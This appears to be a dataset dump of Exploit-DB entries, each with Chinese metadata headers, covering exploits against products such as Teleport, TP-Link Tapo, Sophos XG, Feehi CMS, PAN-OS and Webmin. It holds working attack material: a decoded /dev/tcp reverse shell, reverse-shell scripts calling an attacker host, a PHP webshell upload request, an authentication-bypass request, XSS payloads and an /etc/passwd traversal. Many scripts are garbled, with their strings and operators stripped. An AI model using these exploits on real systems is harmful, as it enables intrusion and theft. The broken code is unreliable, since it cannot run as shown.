QLWD/code_shield huggingface dataset:
标题: MSNSwitch Firmware MNT.2408 - Remote Code Execution EDB-ID: 51027 CVE: 2022-32429 类型: REMOTE 平台: HARDWARE 发布日期: 2022-11-11 漏洞利用脚本: Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)
Google Dork: n/a
Date:9/1/2022
Exploit Author: Eli Fulkerson
Vendor Homepage: https://www.msnswitch.com/
Version: MNT.2408
Tested on: MNT.2408 firmware
CVE: CVE-2022-32429

#!/usr/bin/python3


"""

POC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.

Configuration dump only requires HTTP access.
Full RCE requires you to be on the same subnet as the device.

""" 

 requests
 sys
 urllibparse
 readline
 random
 string



LISTENER_HOST  
LISTENER_PORT  


TARGET
PORT

USERNAME  
PASSWORD  


 USERNAME    PASSWORD  
 
 hack_urlf
 session  requestssession

 data  sessiongethack_url
  each  datatextsplit
  key  
  val  

  
   key  eachstripsplit
   val  eachstripsplit
  
   

   key  
   USERNAME  val
   key  
   PASSWORD  val



session  requestssession


burp0_url  f
burp0_headers       f              
burp0_data     USERNAME  PASSWORD
sessionpostburp0_url headersburp0_headers databurp0_data


burp0_url  f
data  sessiongetburp0_url

csrftoken  datatextsplitsplit

 
 CMD  
 CMD_u  urllibparsequote_plusCMD
 filename  joinrandomchoicestringascii_letters  _  

 
  hack_url  f

  sessiongethack_url timeout
  requestsexceptionsReadTimeout URL: https://www.exploit-db.com/exploits/51027
标题: Wordpress Plugin WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS) EDB-ID: 51020 CVE: 2022-2941 类型: WEBAPPS 平台: PHP 发布日期: 2022-09-23 漏洞利用脚本: # Exploit Title: Wordpress Plugin WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS)
# Google Dork: inurl:/wp-content/plugins/wp-useronline/
# Date: 2022-08-24
# Exploit Author: UnD3sc0n0c1d0
# Vendor Homepage: https://github.com/lesterchan/wp-useronline
# Software Link: https://downloads.wordpress.org/plugin/wp-useronline.2.88.0.zip
# Category: Web Application
# Version: 2.88.0
# Tested on: Debian / WordPress 6.0.1
# CVE : CVE-2022-2941
# Reference: https://github.com/lesterchan/wp-useronline/commit/59c76b20e4e27489f93dee4ef1254d6204e08b3c

# 1. Technical Description:
The WP-UserOnline plugin for WordPress has multiple Stored Cross-Site Scripting vulnerabilities in versions 
up to, and including 2.88.0. This is due to the fact that all fields in the “Naming Conventions” section do 
not properly sanitize user input, nor escape it on output. This makes it possible for authenticated attackers, 
with administrative privileges, to inject JavaScript code into the setting that will execute whenever a user 
accesses the injected page.
  
# 2. Proof of Concept (PoC):
  a. Install and activate version 2.88.0 of the plugin.
  b. Go to the plugin options panel (http://[TARGET]/wp-admin/options-general.php?page=useronline-settings).
  c. Identify the "Naming Conventions" section and type your payload in any of the existing fields. You can use 
   the following payload:
  <script>alert(/XSS/)</script>
  d. Save the changes and now go to the Dashboard/WP-UserOnline option. As soon as you click here, your payload 
    will be executed.

Note: This change will be permanent until you modify the edited fields. URL: https://www.exploit-db.com/exploits/51020
标题: Teleport v10.1.1 - Remote Code Execution (RCE) EDB-ID: 51019 CVE: 2022-36633 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-09-23 漏洞利用脚本: # Exploit Title: Teleport v10.1.1 - Remote Code Execution (RCE)
# Date: 08/01/2022
# Exploit Author: Brandon Roach & Brian Landrum
# Vendor Homepage: https://goteleport.com
# Software Link: https://github.com/gravitational/teleport
# Version: < 10.1.2
# Tested on: Linux
# CVE: CVE-2022-36633

Proof of Concept (payload):
https://teleport.site.com/scripts/%22%0a%2f%62%69%6e%2=
f%62%61%73%68%20%2d%6c%20%3e%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%3=
0%2e%31%2f%35%35%35%35%20%30%3c%26%31%20%32%3e%26%31%20%23/install-node.sh?=
method=3Diam


Decoded payload:
"
/bin/bash -l > /dev/tcp/10.0.0.1/5555 0<&1 2>&1 # URL: https://www.exploit-db.com/exploits/51019
标题: Feehi CMS 2.1.1 - Remote Code Execution (Authenticated) EDB-ID: 51018 CVE: 2022-34140 类型: WEBAPPS 平台: PHP 发布日期: 2022-09-23 漏洞利用脚本: # Exploit Title: Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 22-08-2022
# Exploit Author: yuyudhn
# Vendor Homepage: https://feehi.com/
# Software Link: https://github.com/liufee/cms
# Version: 2.1.1 (REQUIRED)
# Tested on: Linux, Docker
# CVE : CVE-2022-34140



# Proof of Concept:
1. Login using admin account at http://feehi-cms.local/admin
2. Go to Ad Management menu. http://feehi-cms.local/admin/index.php?r=ad%2Findex
3. Create new Ad. http://feehi-cms.local/admin/index.php?r=ad%2Fcreate
4. Upload php script with jpg/png extension, and using Burp suite or any tamper data browser add ons, change back the extension to php.
5. Shell location: http://feehi-cms.local/uploads/setting/ad/[some_random_id].php

# Burp request example:

POST /admin/index.php?r=ad%2Fcreate HTTP/1.1
Host: feehi-cms.local
Content-Length: 1530
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://feehi-cms.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBYJ8wfp9LBoF4xg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://feehi-cms.local/admin/index.php?r=ad%2Fcreate
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _csrf=807bee7110e873c728188300428b64dd155c422c1ebf36205f7ac2047eef0982a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22H9zz-zoIIPm7GEDiUGwm81TqyoAb5w0U%22%3B%7D; PHPSESSID=aa1dec72025b1524ae0156d527007e53; BACKEND_FEEHICMS=7f608f099358c22d4766811704a93375; _csrf_backend=3584dfe50d9fe91cfeb348e08be22c1621928f41425a41360b70c13e7c6bd2daa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22jQjzwf12TCyw_BLdszCqpz4zjphcQrmP%22%3B%7D

Connection: close



------WebKitFormBoundaryFBYJ8wfp9LBoF4xg

Content-Disposition: form-data; name="_csrf_backend"



FvaDqWC07mTGiOuZr-Qzyc2NlSACNuyPM4w7qXxTgmZ8p-nTF9LfVpLLku7wpn-tvvfWUXJM2PVZ_FPKLSHvNg==

------WebKitFormBoundaryFBYJ8wfp9LBoF4xg

Content-Disposition: form-data; name="AdForm[name]"



rce

------WebKitFormBoundaryFBYJ8wfp9LBoF4xg

Content-Disposition: form-data; name="AdForm[tips]"



rce at Ad management

------WebKitFormBoundaryFBYJ8wfp9LBoF4xg

Content-Disposition: form-data; name="AdForm[input_type]"



1

------WebKitFormBoundaryFBYJ8wfp9LBoF4xg

Content-Disposition: form-data; name="AdForm[ad]"





------WebKitFormBoundaryFBYJ8wfp9LBoF4xg

Content-Disposition: form-data; name="AdForm[ad]"; filename="asuka.php"

Content-Type: image/png



<?php phpinfo();



------WebKitFormBoundaryFBYJ8wfp9LBoF4xg

Content-Disposition: form-data; name="AdForm[link]"





-------------- URL: https://www.exploit-db.com/exploits/51018
标题: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE) EDB-ID: 51017 CVE: 2021-4045 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-09-23 漏洞利用脚本: # Exploit Title: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
# Date: 02/11/2022
# Exploit Author: hacefresko
# Vendor Homepage: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/
# Version: 1.1.15 and below
# Tested on: 1.1.11, 1.1.14 and 1.1.15
# CVE : CVE-2021-4045

# Write up of the vulnerability: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce

import requests, urllib3, sys, threading, os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PORT  
REVERSE_SHELL  
NC_COMMAND    PORT 

 sysargv  
    
    exit

victim  sysargv
attacker  sysargv

  PORT
t  threadingThreadtargetossystem argsNC_COMMAND
tstart

  victim
url    victim  
json        REVERSE_SHELL  attacker PORT  
requestsposturl jsonjson verify URL: https://www.exploit-db.com/exploits/51017
标题: Blink1Control2 2.2.7 - Weak Password Encryption EDB-ID: 51014 CVE: 2022-35513 类型: LOCAL 平台: MULTIPLE 发布日期: 2022-09-20 漏洞利用脚本: // Exploit Title: Blink1Control2 2.2.7 - Weak Password Encryption
// Date: 2022-08-12
// Exploit Author: p1ckzi
// Vendor Homepage: https://thingm.com/
// Software Link: https://github.com/todbot/Blink1Control2/releases/tag/v2.2.7
// Vulnerable Version: blink1control2 <= 2.2.7
// Tested on: Ubuntu Linux 20.04, Windows 10, Windows 11.
// CVE: CVE-2022-35513
//
// Description:
// the blink1control2 app (versions <= 2.2.7) utilises an insecure method
// of password storage which can be found by accessing the /blink1/input url
// of the api server.
// password ciphertext for skype logins and email are listed
// and can be decrypted. example usage:
// node blink1-pass-decrypt <ciphertext>
#usrbinenv node
 ArgumentParser  
 simpleCrypt  

  
     

      
    description 
     
  
   
    help  type 
  
   args  

  
  
   
     crypt  
      salt     
      password 
      method   
    
     ciphertext  argsciphertext
     decrypted  cryptciphertext
    console
    console
    consoledecrypted
  
    
    console
  
   
    process URL: https://www.exploit-db.com/exploits/51014
标题: Airspan AirSpot 5410 version 0.3.4.1 - Remote Code Execution (RCE) EDB-ID: 51011 CVE: 2022-36267 类型: REMOTE 平台: LINUX 发布日期: 2022-09-20 漏洞利用脚本: # Exploit Title: Airspan AirSpot 5410 version 0.3.4.1 - Remote Code Execution (RCE)
# Date: 7/26/2022
# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)
# Vendor Homepage: https://www.airspan.com/
# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf
# Version: 0.3.4.1-4 and under.
# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)
# CVE : CVE-2022-36267

from __future__ import print_function, unicode_literals
import argparse
import requests
import urllib3
urllib3.disable_warnings()

 
  airspanLogo  
   airspanLogo

 RHOST RPORT
  url  RHOST RPORT
  
    response  requestsgeturl allow_redirects verify timeout
     responsestatus_code  
      
      exit
    
  
    
    exit


 RHOST RPORT LHOST LPORT
  payload  LHOST LPORT
  data  payload
  
    
    response  requestspostRHOST RPORT datadata verify
    LHOST LPORT
    
   Exception  e
      LHOST LPORT
       

 
  banner
  args  parserparse_args
  pingWebInterfaceargsRHOST argsRPORT
  execReverseShellargsRHOST argsRPORT argsLHOST argsLPORT


 __name__  
  parser  argparseArgumentParserdescription add_help
  parseradd_argument   required
  parseradd_argument   required
  parseradd_argument   required
  parseradd_argument   required
  main URL: https://www.exploit-db.com/exploits/51011
标题: Bookwyrm v0.4.3 - Authentication Bypass EDB-ID: 51013 CVE: 2022-2651 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-09-20 漏洞利用脚本: # Exploit Title: Bookwyrm v0.4.3 - Authentication Bypass
# Date: 2022-08-4
# Exploit Author: Akshay Ravi
# Vendor Homepage: https://github.com/bookwyrm-social/bookwyrm
# Software Link: https://github.com/bookwyrm-social/bookwyrm/releases/tag/v0.4.3
# Version: <= 4.0.3
# Tested on: MacOS Monterey
# CVE: CVE-2022-2651
# Original Report Link: https://huntr.dev/bounties/428eee94-f1a0-45d0-9e25-318641115550/

Description: Email Verification Bypass Leads To Account Takeover in bookwyrm-social/bookwyrm v0.4.3 Due To Lack Of Ratelimit Protection

# Steps to reproduce:

1. Create a acount with victims email id
2. When the account is created, its ask for email confirmation via validating OTP 
Endpoint: https://site/confirm-email
3. Enter any random OTP and try to perfrom bruteforce attack and if otp matches, We can takeover that account URL: https://www.exploit-db.com/exploits/51013
标题: Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass EDB-ID: 51006 CVE: 2022-1040 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-09-02 漏洞利用脚本: # Exploit Title: Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass
# Date: 2022-08-04
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.sophos.com
# Version: 17.0.10 MR-10
# Tested on: Windows 11
# CVE : CVE-2022-1040

# [ VULNERABILITY DETAILS ] :

#This vulnerability allows an attacker to gain unauthorized access to the firewall management space by bypassing authentication.

# [ SAMPLE REQUEST ] :

POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066

# [ KEY MODE ] : \u0000eb ,\u0000fc , \u0000 ,\u0000ef ,...

# [ Successful response ] :

HTTP/1.1 200 OK
Date: Thu, 04 Aug 2022 17:06:39 GMT
Server: xxxx
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/plain;charset=utf-8
Content-Length: 53
Set-Cookie: JSESSIONID=1jy5ygk6w0mfu1mxbv6n30ptal108;Path=/webconsole;Secure;HttpOnly
Connection: close

{"redirectionURL":"/webpages/index.jsp","status":200} URL: https://www.exploit-db.com/exploits/51006
标题: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 51005 CVE: 2020-2038 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-08-09 漏洞利用脚本: # Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-08-13
# Exploit Author: UnD3sc0n0c1d0
# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038
# Category: Web Application
# Version: <10.0.1, <9.1.4 and <9.0.10
# Tested on: PAN-OS 10.0 - Parrot OS
# CVE : CVE-2020-2038
#
# Description:
# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated 
# administrators to execute arbitrary OS commands with root privileges.
# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/




 requests
 urllib3
 sys
 getopt
 xmltodict

urllib3disable_warningsurllib3exceptionsInsecureRequestWarning

 
    
    
    
    
    
    
    
    

 targetuserpasswordcommand
    apiparam     user  password
    apiresponse  requestsgettarget paramsapiparam verify
    xmlparse  xmltodictparseapiresponsecontent
    apikey  xmlparse
    payload  command
    parameters   payload    apikey
    response  requestsgettarget paramsparameters verify
    responsetext

 
    
    
    
    
    
    
    
    
 argv
     sysargv  
        banner
        usage
        sysexit
    
        opts args  getoptgetoptargv
     getoptGetoptError
        banner
        usage
        sysexit
     opt arg  opts
         opt  
            usage
            sysexit
         opt  
            target  arg
         opt  
            user  arg
         opt  
            password  arg
         opt  
            command  arg
    banner
    exploittargetuserpasswordcommand
    sysexit

 __name__  
    
        mainsysargv
     KeyboardInterrupt
        
    
        sysexit URL: https://www.exploit-db.com/exploits/51005
标题: ThingsBoard 3.3.1 'description' - Stored Cross-Site Scripting (XSS) EDB-ID: 51004 CVE: 2021-42751 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-08-09 漏洞利用脚本: # Exploit Title: ThingsBoard 3.3.1 'description' - Stored Cross-Site Scripting (XSS)
# Date: 03/08/2022
# Exploit Author: Steffen Langenfeld & Sebastian Biehler
# Vendor Homepage: https://thingsboard.io/
# Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1
# Version: 3.3.1
# Tested on: [relevant os]
# CVE : CVE-2021-42751
# Tested on: Linux

#Proof-Of-Concept:
When creating a rule node (any) and putting a script payload inside the description of the rule node, it is executed upon hovering above the node within the editor.

#Steps

1. Create a new rule node (via the menu "Rule chains")
2. Put a javascript payload within the description e.g <script>alert('XSS')</script>
3. Save the node
4. Upon hovering above the node within the editor the payload is executed URL: https://www.exploit-db.com/exploits/51004
标题: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS) EDB-ID: 51002 CVE: 2022-34140 类型: WEBAPPS 平台: PHP 发布日期: 2022-08-09 漏洞利用脚本: # Exploit Title: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)
# Date: 02-08-2022
# Exploit Author: Shivam Singh
# Vendor Homepage: https://feehi.com/
# Software Link: https://github.com/liufee/cms
#Profile Link: https://www.linkedin.com/in/shivam-singh-3906b0203/
# Version: 2.1.1 (REQUIRED)
# Tested on: Linux, Windows, Docker
# CVE : CVE-2022-34140


# Proof of Concept:
1-Sing-up https://localhost.cms.feehi/
2-Inject The XSS Payload in Username:
"><script>alert(document.cookie)</script> fill all required fields and
click the SignUp button
3-Login to Your Account, Go to any article page then XSS will trigger. URL: https://www.exploit-db.com/exploits/51002
标题: ThingsBoard 3.3.1 'name' - Stored Cross-Site Scripting (XSS) EDB-ID: 51003 CVE: 2021-42750 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-08-09 漏洞利用脚本: # Exploit Title:  ThingsBoard 3.3.1 'name' - Stored Cross-Site Scripting (XSS)
# Date: 03/08/2022
# Exploit Author: Steffen Langenfeld & Sebastian Biehler
# Vendor Homepage: https://thingsboard.io/
# Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1
# Version: 3.3.1
# CVE : CVE-2021-42750
# Tested on: Linux

#Proof-Of-Concept:
When creating a rule node (any) and putting a script payload inside the name of the rule node, it is executed upon hovering above the node within the editor.

#Steps

1. Create a new rule node (via the menu "Rule chains")
2. Put a javascript payload within the name e.g <script>alert('XSS')</script>
3. Save the node
4. Upon hovering above the node within the editor the payload is executed URL: https://www.exploit-db.com/exploits/51003
标题: Easy Chat Server 3.1 - Remote Stack Buffer Overflow (SEH) EDB-ID: 50999 CVE: 2004-2466 类型: REMOTE 平台: WINDOWS 发布日期: 2022-08-01 漏洞利用脚本: # Exploit Title: Easy Chat Server 3.1 - Remote Stack Buffer Overflow (SEH)
# Exploit Author: r00tpgp @ http://www.r00tpgp.com
# Usage: python easychat-exploit.py <victim-ip> <port>
# Spawns reverse meterpreter LHOST=192.168.0.162 LPORT=1990
# CVE: CVE-2004-2466 
# Installer: http://www.echatserver.com/
# Tested on: Microsoft Windows 11 Pro x86-64 (10.0.22000 N/A Build 22000)

#!/usr/bin/python3

import sys
import socket
from struct import pack

host  sysargv  
port  sysargv  

junk  b  
nseh  pack   
seh  pack   


shellcode  b  
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b

  b  junk  nseh  seh  shellcode  b
  b
  b
  b
  b
  b
  b


s  socketsocketsocketAF_INET socketSOCK_STREAM
sconnecthost port
ssend
sclose URL: https://www.exploit-db.com/exploits/50999
标题: uftpd 2.10 - Directory Traversal (Authenticated) EDB-ID: 51000 CVE: 2020-20277 类型: REMOTE 平台: LINUX 发布日期: 2022-08-02 漏洞利用脚本: # Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated)
# Google Dork: N/A
# Exploit Author: Aaron Esau (arinerron)
# Vendor Homepage: https://github.com/troglobit/uftpd
# Software Link: https://github.com/troglobit/uftpd
# Version: 2.7 to 2.10
# Tested on: Linux
# CVE : CVE-2020-20277
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277
# Reference: https://arinerron.com/blog/posts/6
#Product: uftpd 2.7 to 2.10

#Proof-Of-Concept:
1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication. 

#Steps
1-Setup nc listener on attacking machine on TCP port 1258
nc -lnvp 1258

2-Login to the FTP service

3-List files 
ftp> ls ../../../

3-Set attacker's IP address and retrieve files
PORT 127,0,0,1,1,1002
RETR ../../../etc/passwd URL: https://www.exploit-db.com/exploits/51000
标题: Webmin 1.996 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50998 CVE: 2022-36446 类型: WEBAPPS 平台: LINUX 发布日期: 2022-08-01 漏洞利用脚本: # Exploit Title: Webmin 1.996 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-07-25
# Exploit Author: Emir Polat
# Technical analysis: https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
# Vendor Homepage: https://www.webmin.com/
# Software Link: https://www.webmin.com/download.html
# Version: < 1.997
# Tested On: Version 1.996 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
# CVE: CVE-2022-36446

import argparse
import requests
from bs4 import BeautifulSoup

 args
     session
     sysUser

    session  requestsSession
    loginUrl  f
    infoUrl  f

    username  argsusername
    password  argspassword
    data   username  password

    login  sessionpostloginUrl verify datadata cookies 
    sysInfo  sessionpostinfoUrl verify cookies  sessioncookies

    bs  BeautifulSoupsysInfotext 
    sysUser  item  item  bsfind_all    itemattrs

     sysUser
         
    
         

 args
    payload  f

    updateUrl  f
    exploitUrl  f

    exploitData                payload   

     loginargs
        
        f
        f

        res  sessiongetupdateUrl
        bs  BeautifulSouprestext 

        updateAccess  item  item  bsfind_all    itemattrs

         updateAccess  
            f
            f
            f

            sessionheadersupdate   f
            sessionpostexploitUrl dataexploitData
        
            f
    
        

 __name__  
    parser  argparseArgumentParserdescription
    parseradd_argument   required
    parseradd_argument   required
    parseradd_argument   required
    parseradd_argument   required
    parseradd_argument  required
    parseradd_argument   required
    args  parserparse_args
    exploitargs URL: https://www.exploit-db.com/exploits/50998
标题: WordPress Plugin Duplicator 1.4.6 - Unauthenticated Backup Download EDB-ID: 50992 CVE: 2022-2551 类型: WEBAPPS 平台: PHP 发布日期: 2022-08-01 漏洞利用脚本: # Exploit Title: WordPress Plugin Duplicator 1.4.6 - Unauthenticated Backup Download
# Google Dork: N/A
# Date: 07.27.2022
# Exploit Author: SecuriTrust
# Vendor Homepage: https://snapcreek.com/
# Software Link: https://wordpress.org/plugins/duplicator/
# Version: < 1.4.7
# Tested on: Linux, Windows
# CVE : CVE-2022-2551
# Reference: https://securitrust.fr
# Reference: https://github.com/SecuriTrust/CVEsLab/CVE-2022-2551

#Product:
WordPress Plugin Duplicator < 1.4.7

#Vulnerability:
1-It allows an attacker to download the backup file.

#Proof-Of-Concept:
1-Backup download.
The backup file can be downloaded using the "is_daws" parameter.
http://[PATH]/backups-dup-lite/dup-installer/main.installer.php URL: https://www.exploit-db.com/exploits/50992
标题: WordPress Plugin Duplicator 1.4.7 - Information Disclosure EDB-ID: 50993 CVE: 2022-2552 类型: WEBAPPS 平台: PHP 发布日期: 2022-08-01 漏洞利用脚本: # Exploit Title: WordPress Plugin Duplicator 1.4.7 - Information Disclosure
# Google Dork: N/A
# Date: 07.27.2022
# Exploit Author: SecuriTrust
# Vendor Homepage: https://snapcreek.com/
# Software Link: https://wordpress.org/plugins/duplicator/
# Version: <= 1.4.7
# Tested on: Linux, Windows
# CVE : CVE-2022-2552
# Reference: https://securitrust.fr
# Reference: https://github.com/SecuriTrust/CVEsLab/CVE-2022-2552

#Product:
WordPress Plugin Duplicator <= 1.4.7

#Vulnerability:
1-Some system information may be disclosure.

#Proof-Of-Concept:
1-System information.
Some system information is obtained using the "view" parameter.
http://[PATH]/backups-dup-lite/dup-installer/main.installer.php URL: https://www.exploit-db.com/exploits/50993